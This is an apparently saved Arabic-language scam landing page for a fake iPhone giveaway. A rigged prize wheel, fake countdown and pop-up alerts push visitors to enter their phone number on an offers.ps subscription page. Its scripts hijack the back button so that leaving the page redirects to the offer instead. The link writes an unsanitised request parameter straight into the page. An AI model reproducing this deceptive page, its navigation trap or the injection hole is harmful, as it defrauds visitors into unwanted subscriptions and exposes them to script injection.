<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<!-- saved from url=(0080)http://new.oneprize4you.win.s3-website-ap-southeast-1.amazonaws.com/ps2/ps3.html -->
<html dir="rtl"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  <!--<base href="">--><base href=".">


	
	<title>تهانينا</title>
	<meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
	<style>

/*RESET*/
	html, body, div, span, applet, object, iframe,
	h1, h2, h3, h4, h5, h6, p, blockquote, pre,
	a, abbr, acronym, address, big, cite, code,
	del, dfn, em, img, ins, kbd, q, s, samp,
	small, strike, strong, sub, sup, tt, var,
	b, u, i, center,
	dl, dt, dd, ol, ul, li,
	fieldset, form, label, legend,
	table, caption, tbody, tfoot, thead, tr, th, td,
	article, aside, canvas, details, embed, 
	figure, figcaption, footer, header, hgroup, 
	menu, nav, output, ruby, section, summary,
	time, mark, audio, video, main {
		margin: 0;
		padding: 0;
		border: 0;
		font-size: 100%;
		font: inherit;
		vertical-align: baseline;
	}
	article, aside, details, figcaption, figure, 
	footer, header, hgroup, menu, nav, section, main {
		display: block;
	}
	body {
		line-height: 1;
	}
	ol, ul {
		list-style: none;
	}
	blockquote, q {
		quotes: none;
	}
	blockquote:before, blockquote:after,
	q:before, q:after {
		content: '';
		content: none;
	}
	table {
		border-collapse: collapse;
		border-spacing: 0;
	}
	a{
		text-decoration: none;
		color: inherit;
	}
	*,*:after,*:before{
		margin: 0; 
		padding: 0;
		-webkit-box-sizing: border-box;
		-moz-box-sizing: border-box;
		box-sizing: border-box;

		-webkit-user-select: auto;
		-khtml-user-select: auto;
		-moz-user-select: auto;
		-o-user-select: auto;
		-ms-user-select: auto;
		user-select: auto;

		-webkit-tap-highlight-color: rgba(0,0,0,0); 
	}
	html{height:100%;}
	body{min-height: 100%;}
/*FIN RESET*/

body{
	font-family: Verdana, sans-serif;
	color: #222;
}
.small{
	font-size: 0.875em;
}
.big{
	font-size: 1.125em;
}
.bold{
	font-weight: 700;
}
.red{
	color: red;
}
.light{
	color: #BBB;
}
.gray{
	color: #999;
}
.white{
	color: white;
}
.underline{
	text-decoration: underline;
}
.center{
	text-align: center;
}
.spaced{
	margin: 1em;
}
.hidden{
	display: none;
}
.wrapper{
	max-width: 480px;
	margin: 0 auto;
	overflow: auto;
}
.title{
	background: #49659F;
	color: white;
	text-align: center;
	font-weight: 700;
	padding: 0.25em;
	font-size: 1.375em;
}
.alert{
	background: #F23212;
	text-align: center;
	padding: 0.5em;
	box-shadow: 0 2px 6px rgba(0,0,0,0.35);
	line-height: 1.2;
	position: absolute;
	top: 0;
	left: 0;
	z-index: 8;
	width: 100%;
}
.parpadeo{
	-webkit-animation: flick 0.4s linear alternate infinite;
	animation: flick 0.4s linear alternate infinite;
}

.bola{
	display: inline-block;
	background: linear-gradient(rgb(101, 171, 83), rgb(87, 136, 67));
	border-radius: 50%;
	width: 18px;
	height: 18px;
	vertical-align: middle;
}
.pop{
	border-radius: 10px;
	border: 1px solid black;
}
.fake_link{
	color: #49659F;
}
.fake_link:hover{
	text-decoration: underline;
}
.btn{
	min-width: 49%;
	max-width: 150px;
	margin: 1.5em auto 0.5em auto;
	padding: 0.5em;
	border: 1px solid green;
	background: linear-gradient(rgb(101, 171, 83), rgb(87, 136, 67));
	color: white;
	font-size: 1.25em;
	font-weight: 400;
	border-radius: 5px;
	text-align: center;
	text-shadow: 0 -1px 1px rgba(0,0,0,0.5);
	cursor: pointer;
}
.btn.spin{
	margin: 0;
    width: 300px;
    max-width: initial;
    position: absolute;
    top: 75px;
    left: 50%;
    margin-left: -150px;
    font-size: 20px;
    box-shadow: 0 1px 10px rgba(0,0,0,0.7);
    z-index: 12;
    animation: bright 0.5s linear infinite alternate;
}
.btn.inline{
	display: inline-block;
}
.hero{
	padding: 0.5em;
}
.hero p{
	line-height: 1.2;
	text-align: center;
}
.hero img{
	display: block;
	margin: 1em auto;
}
.contenedor_ruleta{
	position: relative;
	overflow: hidden;
	background: #EEE;
}
.conjunto_ruleta{
	position: relative;
	display: block;
	margin: 1em auto;
}
.ruleta{
	display: block;
	margin: 1em auto;
	max-width: 100%;
}
.ruleta.spinning{
	-webkit-animation: rotating 0.2s linear infinite;
	animation: rotating 0.2s linear infinite;
}
.ruleta.stop1{
	-webkit-animation: rot3 10s cubic-bezier(0,.53,.24,1) forwards;
	animation: rot3 10s cubic-bezier(0,.53,.24,1) forwards;
}
.centro_ruleta{
	width: 100px;
	height: 100px;
	font-size: 60px;
	line-height: 100px;
	margin: -50px 0 0 -50px;
	position: absolute;
	top: 50%;
	left: 50%;
	z-index: 10;
	border: 2px solid white;
	background: black;
	color: white;
	border-radius: 50%;
	text-align: center;
	font-weight: 700;
}
.triangulo{
	position: absolute;
	top: 0;
	left: 48%;
	left: calc(50% - 4px);
	z-index: 5;
	border-top: 18px solid #49659F;
	border-left: 8px solid transparent;
	border-right: 8px solid transparent;
}
.fade-in-out{
	-webkit-animation: flick 0.8s linear alternate-reverse 2 forwards;
	animation: flick 0.8s linear alternate-reverse 2 forwards;
}
.fade-in{
	-webkit-animation: flick 0.8s linear reverse forwards;
	animation: flick 0.8s linear reverse forwards;
}
.preguntas{
	position: relative;
	background: #EEE;
	padding: 70px 10px 10px 10px;
}
.globo{
	background: white;
	box-shadow: 0 2px 4px 1px rgba(0,0,0,0.5);
	padding: 1em 2em;
	border-radius: 10px;
	margin-top: 10px;
}
.globo p{
	text-align: right;
}
.titulo_pregunta{
	text-align: center;
	color: red;
	text-transform: uppercase;
	font-weight: bold;
	padding-bottom: 0.5em;
	font-size: 1.25em;
}
.la_pregunta{
	font-weight: bold;
	font-size: 1.25em;
}
.loadbar_container{
	width: 100%;
	height: 60px;
	padding: 7px;
	background: black; 
	border-radius: 4px;
}
.loadbar{
	height: 100%;
	background: linear-gradient(rgb(101, 171, 83), rgb(87, 136, 67)) repeat 0 0;
	border-radius: 2px;
	-webkit-animation: grow 3s ease-in forwards;
	animation: grow 3s ease-in forwards;
}
.result{
	position: relative;
}
.result .hero{
	background: #EEE;
	padding: 60px 10px 10px 10px;
}
.result .hero img{
	mix-blend-mode: darken;
}
.call_to_action{
	display: block;
	background: linear-gradient(rgb(101, 171, 83), rgb(87, 136, 67)) repeat 0 0;
	border-radius: 30px;
	border: 1px solid green;
	padding: 0.5em;
	text-align: center;
	color: white;
	font-weight: 700;
	font-size: 1.25em;
}
.comment{
	background: #E3E3E3;
	color: #222;
	position: relative;
	padding: 5px 10px 5px 66px;
	min-height: 64px;
	margin: 3px 0;
	font-size: 14px;
	line-height: 1.25;
}
.comment h3{
	display: inline-block;
	font-weight: 700;
	color: #49659F;
	margin-right: 4px;
}
.comment img{
	position: absolute;
	top: 5px;
	left: 5px;
}
.comment footer{
	margin-top: 0.5em;
	font-size: 0.9em;
}
.post_time{
	font-weight: 700;
	color: #888;
}
.like_btn{
	font-weight: 700;
	color: #49659F;
	margin: 0 3px;
	cursor: pointer;
}
.like_btn:before{
	content: "Me Gusta";
}
.like_btn.liked:before{
	content: "Ya no me gusta";
}
.like_btn:hover{
	text-decoration: underline;
}
.like_count{
	font-weight: 700;
	color: #49659F;
	margin: 0 3px;
	cursor: pointer;
}
.hand:before{
	content: "";
	background: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAARCAMAAADnhAzLAAAAmVBMVEUAAAD///9UZp2mrMiNlblOYJiDjLLk5eY+T4zz9Pju8PX9/PLf3+HO0eC2u9GElL2IkbYvPX329/ry8vDAw9W7v9KepMOGjrRkcaJfaplQY5k4S4ocLXMXIWr6+/z///bz8/Tt7vTh4+3a3ejW2ebP0+HGydvIy9qtssuYoMB/iK98g6pldqhqdaNoc51aZZZHWZMvNHQADV/GNEqKAAAAAXRSTlMAQObYZgAAAIpJREFUGNOV0EcOwjAQQNGMGwTXNJJA6L2X+x+OCcnKFgv+xtKT7ZEm+rOLS3yaAfMk3mRJcEl5NDegXpStvw+oMUeIagAoq6qJkcZXa23joCs9I9Epnzy30DcSLQ0J4buQdEiHZdaRKnsi9f0BAwxy1k7E7/ntJMRCSlm8IyzNtd7juXKMseLHSj7hNgfBGm1LegAAAABJRU5ErkJggg==') no-repeat;
	display: inline-block;
	width: 18px;
	height: 17px;
	vertical-align: bottom;
}
.animated{
	transform-origin: 50% 0;
	overflow: hidden;
	-webkit-animation: load 0.3s ease-in backwards;
	animation: load 0.3s ease-in backwards;
}
.delay2{
	animation-delay: 2s;
}
.delay6{
	animation-delay: 6s;
}
.delay12{
	animation-delay: 12s;
}
.actions span{
	color: #999;
	font-weight: 700;
	font-size: 14px;
	cursor: pointer;
}
.actions span:hover{
	text-decoration: underline;
}
.others_panel{
	background: #E3E3E3;
	padding: 5px 10px 5px 5px;
	font-weight: 700;
	color: #49659F;
	margin: 3px 0;
	font-size: 14px;
}
.view_more_panel{
	background: #E3E3E3;
	padding: 5px 10px 5px 5px;
	font-weight: 700;
	color: #49659F;
	margin: 3px 0;
	font-size: 14px;
}
.view_more_panel:before{
	content: "";
	height: 0;
	width: 0;
	border-top: 14px solid #49659F;
	border-right: 7px solid transparent;
	border-left: 7px solid transparent;
	display: inline-block;
	vertical-align: bottom;
}
.right{
	float: right;
}
img[width="1"]{
	display: none;
}
.no-wrap{
	white-space: nowrap;
}


@-webkit-keyframes flick{
	from{ opacity: 1; }
	to{ opacity: 0; }
}
@keyframes flick{
	from{ opacity: 1; }
	to{ opacity: 0; }
}
@keyframes rot1{
	to{ transform: rotate(7.7turn); }
}
@keyframes rot2{
	to{ transform: rotate(14.55turn); }
}
@keyframes rot3{
	to{ transform: rotate(21.1turn); }
}
@-webkit-keyframes grow{
	from{ width: 0%; }
	to{ width: 100%; }
}
@keyframes grow{
	from{ width: 0%; }
	to{ width: 100%; }
}
@keyframes load{
	from{
		transform: rotateX(90deg);
		max-height: 0;
		min-height: 0;
		margin: 0;
		padding: 0;
	}
	to{
		transform: rotateX(0);
		max-height: 100px;
	}
}
@-webkit-keyframes bright{
	to{
		text-shadow: 0 0 3px white, 0 0 6px white, 0 0 15px white, 0 0 25px white, 0 0 30px #c3ffbe;
	}
}
@keyframes bright{
	to{
		text-shadow: 0 0 3px white, 0 0 6px white, 0 0 15px white, 0 0 25px white, 0 0 30px #c3ffbe;
	}
}
	</style>
	<script type="text/javascript">
    alert('تهانينا.\n\nانت مؤهل للاشتراك  و الحصول على فرصة الفوز بجهاز ايفون 8 الجديد .\n\n اضغط "OK" للمشاركة.');
 

</script>
  

</head>
<body>

<div class="wrapper">
	<h1 class="title"></h1>
	<section class="intro">
		<div class="hero">
			<p>اليوم فقط:</p>
			<p><span class="red bold">لديك (1) محاولة للاشتراك والدخول على السحب للفوز بهاتف ايفون.</span></p>
			<img src="./winIPhone2_files/iphone7.jpg" width="113" height="150">
			<p class="bold">الوقت المتبقي: <span class="time red">05:44</span></p>
		</div>
		<div class="contenedor_ruleta">
			<div class="alert">
				<div class="parpadeo">
					<p class="white bold big">لديك محاولة واحدة</p>
					<p>للاشتراك والدخول على السحب للفوز باجهزه ذكيه</p>
				</div>
			</div>
			<div class="alert fade-in-out hidden">
				<p class="white bold big">¡HAS PERDIDO!</p>
				<p>Tienes (2) intento más.</p>
			</div>
			<div class="alert fade-in-out hidden">
				<p class="white bold big">¡HAS PERDIDO!</p>
				<p>Tienes (1) intento más.</p>
			</div>
			<div class="alert fade-in hidden">
				<p class="white bold big">¡FELICIDADES!</p>
				<p>¡Has ganado!</p>
			</div>

			<div class="conjunto_ruleta">
				<div class="triangulo"></div>
				<img src="./winIPhone2_files/wheel.png" class="ruleta">
				<div class="centro_ruleta">1</div>
			</div>

			<div class="btn spin">دور العجلة من هنا</div>
		</div>


	</section>

	<section class="result hidden">
			<div class="alert">
				<div class="parpadeo">
					<p class="white bold big">مبروووك</p>
					<p>انت مؤهل للدخول على السحب </p>
				</div>
			</div>
			<div class="hero">
				<div class="globo">
					<p class="bold big">ادخل رقم هاتفك في الصفحة الموالية للاشتراك والدخول على السحب </p>
					<p>
						<span class="bola"></span>
						<span class="red bold big">بهاتف ايفون الجديد  عند الاشتراك</span>
					</p>
				</div>
				<img src="./winIPhone2_files/iphone7.jpg" width="113" height="150">
				<a href="http://www.offers.ps/offersWeb/platform/LandingPage/index.php?L=4280282&A=0258350&hash=<?php echo($_REQUEST['hash']) ?>" onclick="alert(&#39; ادخل رقم هاتفك لتأكيد الاشتراك. \n\n اي رقم خاطئ يستبعد صاحبه نهائيا.&#39;)" class="call_to_action"><span class="no-wrap">» اضغط هنا</span> </a>
			</div>
			
	</section>
</div>

<script>

//GAME
var toggle_spin = (function(){
	var step = 0;
	var max_steps = 1;
	var ruleta = document.querySelector(".ruleta");
	var indicador = document.querySelector(".centro_ruleta");
	var alerts = document.querySelectorAll(".alert");
	var contenedor_ruleta = document.querySelector(".contenedor_ruleta");
	var result = document.querySelector(".result");
	ruleta.addEventListener("animationend", function () {
		if(step < max_steps){
			setTimeout(function(){
				alerts[step].classList.remove("hidden");
				spin_btn.classList.remove("hidden");
			}, 500);
		}else{
			setTimeout(function(){
				contenedor_ruleta.classList.add("hidden");
				document.querySelector(".intro").classList.add("hidden");
				result.classList.remove("hidden");
			},1000);
		}
	});
	return function(){
		console.log("clicked");
		spin_btn.classList.add("hidden");
		alerts[step].classList.add("hidden");
		step++;
		indicador.innerHTML = max_steps - step;
		ruleta.classList.add("stop"+step);
	}
})();
var spin_btn = document.querySelector(".spin");
spin_btn.addEventListener("click", toggle_spin);



// LIKES

var likes = document.querySelectorAll(".like_btn");
for (var i = 0; i < likes.length; i++) {
	likes[i].addEventListener("click", like);
};
function like (e) {
	e.currentTarget.classList.toggle("liked");
}

// CUENTA ATRAS
var change_time = (function(){
	var secs = 359;
	return function(){
		secs--;
		if(secs == 0){
			window.clearInterval(interval);
			time.innerHTML = "Last chance!";
		}else{
			var sec = secs%60;
			if(sec < 10) sec = "0"+sec;
			var min = Math.floor(secs/60);
			time.innerHTML = "0"+min+":"+sec;
		}
	}
})();
var time = document.querySelector('.time');
if(time){
	var interval = window.setInterval(change_time,1000);
}

</script>
<script type="text/javascript">
    history.pushState({ page: 1 }, "title 1", "#nbb");
   window.onhashchange = function (event) {window.location.hash = "nbb";};
    
    (function(window, location) {

       history.replaceState(null, document.title, location.pathname+"#!/antivirus");
       history.pushState(null, document.title, location.pathname);

       window.addEventListener("popstate", function() {

           if(location.hash === "#!/antivirus") {
               history.replaceState(null, document.title, location.pathname);
               setTimeout(function(){
                   location.replace("http://www.offers.ps/offersWeb/platform/LandingPage/index.php?L=4280282&A=0258350&hash=<?php echo($_REQUEST['hash']) ?>");
               },0);
           }

       }, false);
   }(window, location));
</script>

</body></html>